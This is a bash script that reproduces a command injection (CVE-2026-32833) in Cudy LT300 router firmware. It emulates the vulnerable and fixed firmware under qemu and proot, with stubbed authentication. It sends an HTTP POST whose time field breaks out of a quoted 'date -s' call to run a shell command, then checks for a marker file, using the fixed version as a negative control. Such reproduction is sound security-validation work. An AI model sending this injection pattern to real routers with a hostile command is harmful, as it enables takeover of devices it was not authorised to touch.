#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
FW_DIR="$ROOT/artifacts/firmware"
WORK_DIR="$ROOT/artifacts/product_path_work"
mkdir -p "$LOGS" "$REPRO_DIR" "$FW_DIR" "$WORK_DIR" "$LOGS/artifacts/http" "$LOGS/artifacts/product"
cd "$ROOT"

LOG_FILE="$LOGS/reproduction_steps.log"
: > "$LOG_FILE"

log() { printf '%s\n' "$*" | tee -a "$LOG_FILE"; }
json_manifest() {
  local status="$1" notes="$2"
  jq -n \
    --arg notes "$notes" \
    --arg status "$status" \
    --argjson target_reached "$TARGET_REACHED" \
    --argjson service_started "$SERVICE_STARTED" \
    --argjson healthcheck "$HEALTHCHECK_PASSED" \
    '{
      entrypoint_kind: "endpoint",
      entrypoint_detail: "HTTP POST /cgi-bin/luci/admin/system/systime through firmware uhttpd + original /www/cgi-bin/luci LuCI dispatcher/CBI handler",
      service_started: $service_started,
      healthcheck_passed: $healthcheck,
      target_path_reached: $target_reached,
      runtime_stack: ["Cudy LT300 firmware rootfs", "uhttpd", "LuCI dispatcher", "LuCI CBI model system/systime.lua", "qemu-mipsel", "proot"],
      proof_artifacts: [
        "logs/reproduction_steps.log",
        "logs/artifacts/http/vuln_attempt1_request.txt",
        "logs/artifacts/http/vuln_attempt1_response_headers.txt",
        "logs/artifacts/http/vuln_attempt1_response_body.txt",
        "logs/artifacts/http/vuln_attempt2_request.txt",
        "logs/artifacts/http/vuln_attempt2_response_headers.txt",
        "logs/artifacts/http/vuln_attempt2_response_body.txt",
        "logs/artifacts/http/fixed_attempt1_request.txt",
        "logs/artifacts/http/fixed_attempt1_response_headers.txt",
        "logs/artifacts/http/fixed_attempt1_response_body.txt",
        "logs/artifacts/http/fixed_attempt2_request.txt",
        "logs/artifacts/http/fixed_attempt2_response_headers.txt",
        "logs/artifacts/http/fixed_attempt2_response_body.txt",
        "logs/artifacts/product/code_identity.txt",
        "logs/artifacts/product/uhttpd_runtime.log",
        "logs/artifacts/product/proof_summary.txt"
      ],
      notes: $notes,
      exploit_status: $status
    }' > "$REPRO_DIR/runtime_manifest.json"
}

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_REACHED=false
cleanup_pids=()
cleanup() {
  for pid in "${cleanup_pids[@]:-}"; do
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
  done
}
trap cleanup EXIT
trap 'json_manifest "failed" "reproduction_steps.sh exited before completing product-path proof"' ERR

log "=== CVE-2026-32833 Cudy LT300 3.0 product-path reproduction ==="
log "Started: $(date -u '+%Y-%m-%d %H:%M:%S UTC')"
log "ROOT=$ROOT"

need_tool() {
  command -v "$1" >/dev/null 2>&1
}

log "[1/8] Checking runtime tools"
missing=()
for t in curl jq python3 unsquashfs proot qemu-mipsel strings sha256sum; do
  need_tool "$t" || missing+=("$t")
done
if [ "${#missing[@]}" -ne 0 ]; then
  log "Missing tools: ${missing[*]}"
  log "Attempting apt installation (best effort; requires sudo in clean sandbox)"
  sudo apt-get update -qq || true
  sudo apt-get install -y -qq curl jq python3 squashfs-tools proot qemu-user binutils coreutils || true
fi
for t in curl jq python3 unsquashfs proot qemu-mipsel strings sha256sum; do
  if ! need_tool "$t"; then
    log "ERROR: required tool '$t' is unavailable"
    json_manifest "infra_failed" "required tool '$t' unavailable"
    exit 2
  fi
  log "  $t: $(command -v "$t")"
done

VULN_ZIP="$FW_DIR/LT300V3-2.4.5.zip"
FIXED_ZIP="$FW_DIR/LT300V3-2.5.12.zip"
VULN_URL="https://www.cudy.com/cdn/shop/files/LT300V3-R100-2.4.5-20250519-131314-flash.zip?v=10842839406105661888"
FIXED_URL="https://www.cudy.com/cdn/shop/files/LT300V3-R100-2.5.12-20260518-234632-flash.zip?v=5761387538079304484"

log "[2/8] Acquiring Cudy firmware images"
if [ ! -s "$VULN_ZIP" ]; then
  log "Downloading vulnerable firmware 2.4.5"
  curl -L --fail -o "$VULN_ZIP" "$VULN_URL"
fi
if [ ! -s "$FIXED_ZIP" ]; then
  log "Downloading fixed firmware 2.5.12"
  curl -L --fail -o "$FIXED_ZIP" "$FIXED_URL"
fi
sha256sum "$VULN_ZIP" "$FIXED_ZIP" | tee "$LOGS/artifacts/product/firmware_sha256.txt" | tee -a "$LOG_FILE" >/dev/null

extract_firmware() {
  local zip_file="$1" out_dir="$2"
  local sqfs="$out_dir/rootfs.squashfs"
  local rootfs="$out_dir/squashfs-root"
  if [ -x "$rootfs/usr/sbin/uhttpd" ] && [ -f "$rootfs/usr/lib/lua/luci/model/cbi/system/systime.lua" ]; then
    return 0
  fi
  rm -rf "$out_dir"
  mkdir -p "$out_dir/unzip"
  python3 - "$zip_file" "$out_dir/unzip" <<'PY'
import sys, zipfile, pathlib
zip_path = pathlib.Path(sys.argv[1]); out = pathlib.Path(sys.argv[2])
with zipfile.ZipFile(zip_path) as z:
    members = [m for m in z.namelist() if m.lower().endswith('.bin')]
    if not members:
        raise SystemExit('no .bin member in firmware zip')
    z.extract(members[0], out)
    print(out / members[0])
PY
  local bin_file
  bin_file="$(find "$out_dir/unzip" -type f -name '*.bin' | head -1)"
  python3 - "$bin_file" "$sqfs" <<'PY'
import sys, pathlib
src = pathlib.Path(sys.argv[1]); dst = pathlib.Path(sys.argv[2])
data = src.read_bytes()
off = data.find(b'hsqs')
if off < 0:
    raise SystemExit('SquashFS magic hsqs not found')
dst.write_bytes(data[off:])
print(off)
PY
  unsquashfs -q -no-exit-code -ignore-errors -d "$rootfs" "$sqfs"
  mkdir -p "$rootfs/dev" "$rootfs/tmp" "$rootfs/proc" "$rootfs/sys"
  test -x "$rootfs/usr/sbin/uhttpd"
  test -f "$rootfs/usr/lib/lua/luci/model/cbi/system/systime.lua"
}

log "[3/8] Extracting firmware root filesystems"
extract_firmware "$VULN_ZIP" "$FW_DIR/vuln_2.4.5_clean"
extract_firmware "$FIXED_ZIP" "$FW_DIR/fixed_2.5.12_clean"
BASE_VULN="$FW_DIR/vuln_2.4.5_clean/squashfs-root"
BASE_FIXED="$FW_DIR/fixed_2.5.12_clean/squashfs-root"

log "[4/8] Preparing emulated product roots (environment shims only; original uhttpd/LuCI systime handler is preserved)"
prepare_root() {
  local base="$1" dst="$2" label="$3"
  rm -rf "$dst"
  mkdir -p "$dst"
  (cd "$base" && tar --exclude='./host-rootfs' --exclude='./tmp/run' --exclude='./etc/ld.so.preload' -cf - .) | (cd "$dst" && tar -xf -)
  rm -f "$dst/www/cgi-bin/exploit_cgi" "$dst/www/cgi-bin/luci_http" "$dst/www/cgi-bin/luci_mock" "$dst/www/cgi-bin/api"

  # Hardware/session shims required only because this is firmware user-mode emulation,
  # not a physical router with ubus, bdinfo NVRAM and controller state. The endpoint,
  # uhttpd, /www/cgi-bin/luci, dispatcher and model/cbi/system/systime.lua remain the
  # firmware originals and are the code paths exercised by the HTTP POST below.
  cat > "$dst/usr/lib/lua/ubus.lua" <<'LUA'
local M = {}
local SESSION_VALUES = {
  username = "root", user = "root", token = "PRUVA_TOKEN",
  authtoken = "PRUVA_TOKEN", authuser = "root", loginerr = 0, expired = false
}
function M.connect(path)
  local c = {}
  function c.call(self, object, method, params)
    io.stderr:write(string.format("[ubus-session-stub] %s.%s\n", tostring(object), tostring(method)))
    if object == "session" and method == "get" then
      return { ubus_rpc_session = (params and params.ubus_rpc_session) or "PRUVA_SESSION", timeout = 3600, expires = 3600, username = "root", token = "PRUVA_TOKEN", data = SESSION_VALUES, values = SESSION_VALUES }
    elseif object == "session" and method == "access" then
      return { access = true, result = true }
    elseif object == "session" and method == "login" then
      return { ubus_rpc_session = "PRUVA_SESSION", timeout = 3600, expires = 3600, data = SESSION_VALUES, values = SESSION_VALUES, token = "PRUVA_TOKEN" }
    elseif object == "session" and method == "set" then
      return { result = true, values = SESSION_VALUES }
    elseif object == "session" and method == "unset" then
      return { result = true }
    elseif object == "pingcheck" and method == "status" then
      return { status = "ok", running = false }
    elseif object == "system" and method == "board" then
      return { model = "LT300", hostname = "LT300", release = { revision = "firmware" }, board_name = "R100" }
    end
    return {}
  end
  function c.close(self) end
  return c
end
return M
LUA
  cat > "$dst/usr/bin/bdinfo" <<'SH'
#!/bin/sh
case "$1" in
  check|checkuuid) echo OK ;;
  mac) echo 001122334455 ;;
  country) echo US ;;
  model) echo LT300 ;;
  factory) echo 0 ;;
  *) echo LT300 ;;
esac
exit 0
SH
  chmod +x "$dst/usr/bin/bdinfo"
  cat > "$dst/usr/lib/lua/luci/forbidden.lua" <<'LUA'
module("luci.forbidden", package.seeall)
function path(...)
  return false
end
LUA
  cat > "$dst/etc/config/luci" <<'EOF'
config core main
	option lang en
	option mediaurlbase /luci-static/bootstrap
	option resourcebase /luci-static/resources
	option sysauth root
	option showuser 0

config extern flash_keep
	option uci "/etc/config/"
	option dropbear "/etc/dropbear/"
	option openvpn "/etc/openvpn/"
	option passwd "/etc/passwd"
	option opkg "/etc/opkg.conf"
	option firewall "/etc/firewall.user"
	option uploads "/lib/uci/upload/"

config internal languages
config internal sauth
	option sessionpath "/tmp/luci-sessions"
	option sessiontime 3600
config internal ccache
	option enable 0
config internal themes
	option Bootstrap /luci-static/bootstrap
EOF
  cat > "$dst/etc/config/system" <<'EOF'
config system
	option hostname 'LT300'
	option timezone 'UTC'
	option zonename 'UTC'

config board 'board'
	option type 'router'
	option workmode 'router'
	option rom 'R100'
	option model 'LT300'
	option devname 'LT300'

config timeserver 'ntp'
	option enabled '1'
	option settime 'browser'
	list server 'pool.ntp.org'
EOF
  cat > "$dst/etc/config/cmagent" <<'EOF'
config cmagent 'mqtt'
	option enabled '0'
	option broker ''
	option acmanager_role 'none'
EOF
  mkdir -p "$dst/tmp"
  rm -rf "$dst/tmp/luci-indexcache" "$dst/tmp/luci-modulecache"
  {
    echo "--- $label code identity ---"
    sha256sum "$dst/usr/sbin/uhttpd" "$dst/www/cgi-bin/luci" "$dst/usr/lib/lua/luci/dispatcher.lua" "$dst/usr/lib/lua/luci/model/cbi/system/systime.lua"
    echo "systime strings:"
    strings "$dst/usr/lib/lua/luci/model/cbi/system/systime.lua" | grep -E 'timeclock|date -s|gsub|fork_exec' || true
  } >> "$LOGS/artifacts/product/code_identity.txt"
}
: > "$LOGS/artifacts/product/code_identity.txt"
prepare_root "$BASE_VULN" "$WORK_DIR/vuln_root" "vulnerable 2.4.5"
prepare_root "$BASE_FIXED" "$WORK_DIR/fixed_root" "fixed 2.5.12"

if ! strings "$WORK_DIR/vuln_root/usr/lib/lua/luci/model/cbi/system/systime.lua" | grep -q "date -s '%s'"; then
  log "ERROR: vulnerable systime handler identity check failed"
  exit 2
fi
if ! strings "$WORK_DIR/fixed_root/usr/lib/lua/luci/model/cbi/system/systime.lua" | grep -q "gsub"; then
  log "ERROR: fixed systime handler does not show gsub sanitization marker"
  exit 2
fi

start_uhttpd() {
  local rootfs="$1" port="$2" label="$3"
  local srvlog="$LOGS/artifacts/product/${label}_uhttpd.log"
  : > "$srvlog"
  PROOT_NO_SECCOMP=1 proot -r "$rootfs" -b /tmp -b /dev -b /proc -b /sys -q "$(command -v qemu-mipsel)" --kill-on-exit \
    /usr/sbin/uhttpd -f -h /www -p "127.0.0.1:$port" -x /cgi-bin -t 60 >>"$srvlog" 2>&1 &
  local pid=$!
  cleanup_pids+=("$pid")
  for _ in $(seq 1 40); do
    if curl -sS --max-time 1 "http://127.0.0.1:$port/" >/dev/null 2>&1; then
      SERVICE_STARTED=true
      HEALTHCHECK_PASSED=true
      echo "$pid"
      return 0
    fi
    sleep 0.25
  done
  log "ERROR: $label uhttpd did not become reachable"
  return 1
}

run_attempt() {
  local rootfs="$1" port="$2" label="$3" attempt="$4" expect_proof="$5"
  local proof="/tmp/cudy_${label}_${attempt}_proof"
  local marker="${label^^}_ATTEMPT_${attempt}_COMMAND_EXECUTED"
  local req="$LOGS/artifacts/http/${label}_attempt${attempt}_request.txt"
  local hdr="$LOGS/artifacts/http/${label}_attempt${attempt}_response_headers.txt"
  local body="$LOGS/artifacts/http/${label}_attempt${attempt}_response_body.txt"
  rm -f "$proof"

  log "Starting $label attempt $attempt on port $port"
  local pid
  pid="$(start_uhttpd "$rootfs" "$port" "${label}_attempt${attempt}")"
  SERVICE_STARTED=true
  HEALTHCHECK_PASSED=true

  # Health/target-path GET: proves the original uhttpd/LuCI dispatcher renders the systime CBI form.
  curl -sS --max-time 20 -D "$LOGS/artifacts/http/${label}_attempt${attempt}_get_headers.txt" \
    -b 'sysauth=PRUVA_SESSION' \
    "http://127.0.0.1:$port/cgi-bin/luci/admin/system/systime?token=PRUVA_TOKEN" \
    -o "$LOGS/artifacts/http/${label}_attempt${attempt}_get_body.txt"
  if grep -q 'System Time' "$LOGS/artifacts/http/${label}_attempt${attempt}_get_body.txt" && grep -q 'cbid.system.ntp.current' "$LOGS/artifacts/http/${label}_attempt${attempt}_get_body.txt"; then
    TARGET_REACHED=true
    log "  $label attempt $attempt: GET reached original System Time CBI form"
  else
    log "ERROR: $label attempt $attempt did not reach System Time form"
    return 1
  fi

  cat > "$req" <<REQ
POST /cgi-bin/luci/admin/system/systime HTTP/1.1
Host: 127.0.0.1:$port
Cookie: sysauth=PRUVA_SESSION
Content-Type: application/x-www-form-urlencoded

Fields:
  token=PRUVA_TOKEN
  cbi.submit=1
  cbi.apply=Save & Apply
  cbid.system.ntp.settime=manual
  cbid.system.ntp.server=pool.ntp.org
  cbid.system.ntp.current=2025-01-01 12:00:00'; echo $marker > $proof; #
REQ

  curl -sS --max-time 30 -D "$hdr" \
    -b 'sysauth=PRUVA_SESSION' \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode 'token=PRUVA_TOKEN' \
    --data-urlencode 'cbi.submit=1' \
    --data-urlencode 'cbi.apply=Save & Apply' \
    --data-urlencode 'cbid.system.ntp.settime=manual' \
    --data-urlencode 'cbid.system.ntp.server=pool.ntp.org' \
    --data-urlencode "cbid.system.ntp.current=2025-01-01 12:00:00'; echo $marker > $proof; #" \
    "http://127.0.0.1:$port/cgi-bin/luci/admin/system/systime" \
    -o "$body" || true

  sleep 1
  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true

  if [ "$expect_proof" = "yes" ]; then
    if [ -f "$proof" ] && grep -q "$marker" "$proof"; then
      log "  $label attempt $attempt: command execution proof observed: $(cat "$proof")"
      echo "$label attempt $attempt proof: $(cat "$proof")" >> "$LOGS/artifacts/product/proof_summary.txt"
      return 0
    fi
    log "ERROR: $label attempt $attempt expected proof file was not created"
    return 1
  else
    if [ -f "$proof" ]; then
      log "ERROR: $label attempt $attempt unexpectedly created proof file: $(cat "$proof")"
      return 1
    fi
    log "  $label attempt $attempt: no proof file created (fixed handler rejected/sanitized injection)"
    echo "$label attempt $attempt no proof file (negative control passed)" >> "$LOGS/artifacts/product/proof_summary.txt"
    return 0
  fi
}

: > "$LOGS/artifacts/product/proof_summary.txt"
log "[5/8] Exercising vulnerable firmware through original HTTP endpoint"
run_attempt "$WORK_DIR/vuln_root" 18111 vuln 1 yes
run_attempt "$WORK_DIR/vuln_root" 18112 vuln 2 yes

log "[6/8] Exercising fixed firmware through same original HTTP endpoint as negative control"
run_attempt "$WORK_DIR/fixed_root" 18121 fixed 1 no
run_attempt "$WORK_DIR/fixed_root" 18122 fixed 2 no

log "[7/8] Summarizing code difference"
{
  echo "Vulnerable 2.4.5 systime markers:"
  strings "$WORK_DIR/vuln_root/usr/lib/lua/luci/model/cbi/system/systime.lua" | grep -E 'timeclock|date -s|gsub|fork_exec' || true
  echo
  echo "Fixed 2.5.12 systime markers:"
  strings "$WORK_DIR/fixed_root/usr/lib/lua/luci/model/cbi/system/systime.lua" | grep -E 'timeclock|date -s|gsub|fork_exec' || true
  echo
  echo "Proof summary:"
  cat "$LOGS/artifacts/product/proof_summary.txt"
} | tee "$LOGS/code_comparison.txt" | tee -a "$LOG_FILE" >/dev/null
cat "$LOGS/artifacts/product"/*_uhttpd.log > "$LOGS/artifacts/product/uhttpd_runtime.log" 2>/dev/null || true

log "[8/8] Writing runtime manifest"
json_manifest "confirmed" "Confirmed command execution through the original firmware uhttpd and LuCI /cgi-bin/luci/admin/system/systime endpoint in 2.4.5; the same original fixed 2.5.12 endpoint did not create the attacker-controlled proof files."

log "=== Reproduction complete: CONFIRMED ==="
log "See $LOGS/artifacts/product/proof_summary.txt and HTTP request/response artifacts."
exit 0
